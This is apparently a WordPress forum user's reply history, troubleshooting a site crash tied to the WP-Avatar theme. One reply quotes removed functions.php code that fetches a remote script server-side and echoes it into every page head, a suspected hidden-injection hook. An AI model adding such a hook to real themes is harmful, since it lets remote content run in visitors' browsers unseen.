jarrodcase
Forum Replies Created
-
Forum: Themes and Templates
In reply to: Server Not FoundBut the code is the exact same as it was beforehand when the wpadmin page was still working.
Hey @bmwhealon, I think you will find if you deleted the wrong code eg. partially out of the function.php file; this will happen. If you have FTP details you can login to the server and see the files / upload a fix without using wordpress. Then wordpress will work again.
Forum: Themes and Templates
In reply to: Server Not FoundMy site is ncsucottonfirst.com. Please help!
@bmwhealon do you have FTP access to the site? and any backups of the site?
Forum: Themes and Templates
In reply to: Server Not Foundif (function_exists(‘load_theme_textdomain’)) {
load_theme_textdomain(‘wpavatar’, get_template_directory().’/language’);
}I just added back the second if function which I included by mistake.
Forum: Themes and Templates
In reply to: Server Not FoundHi @esmi, as I’ve said; I use WP-Avatar.
I’ve removed the following code from functions.php
if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="https://ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} if (function_exists('load_theme_textdomain')) { load_theme_textdomain('wpavatar', get_template_directory().'/language'); }
The site is now working. What does the above actually do for the site? I’m guessing language?
I am not comfortable still as to why this has happened; the cause has not been defined; and there are multiple people just deleting code in wordpress to get it working again.
Please provide some clarification around the issue.
Forum: Themes and Templates
In reply to: Server Not Found@esmi This is the same issue and it’s not common to 1 theme.
Forum: Themes and Templates
In reply to: Server Not FoundI also see the favicon. I get the title before it stops so it’s loading wordpress.
Forum: Themes and Templates
In reply to: Server Not FoundTheme is WP-Avatar v1.0
htaccess for / is
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ – [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule># END WordPress
Forum: Themes and Templates
In reply to: Server Not FoundI am having the same issue at https://www.techproject.com.au; i think this may be a hack or a bug which is common in some themes. If I change the theme the site is back up; if I change back it crashes again with a www1 redirection.
I would appreciate any feedback on this.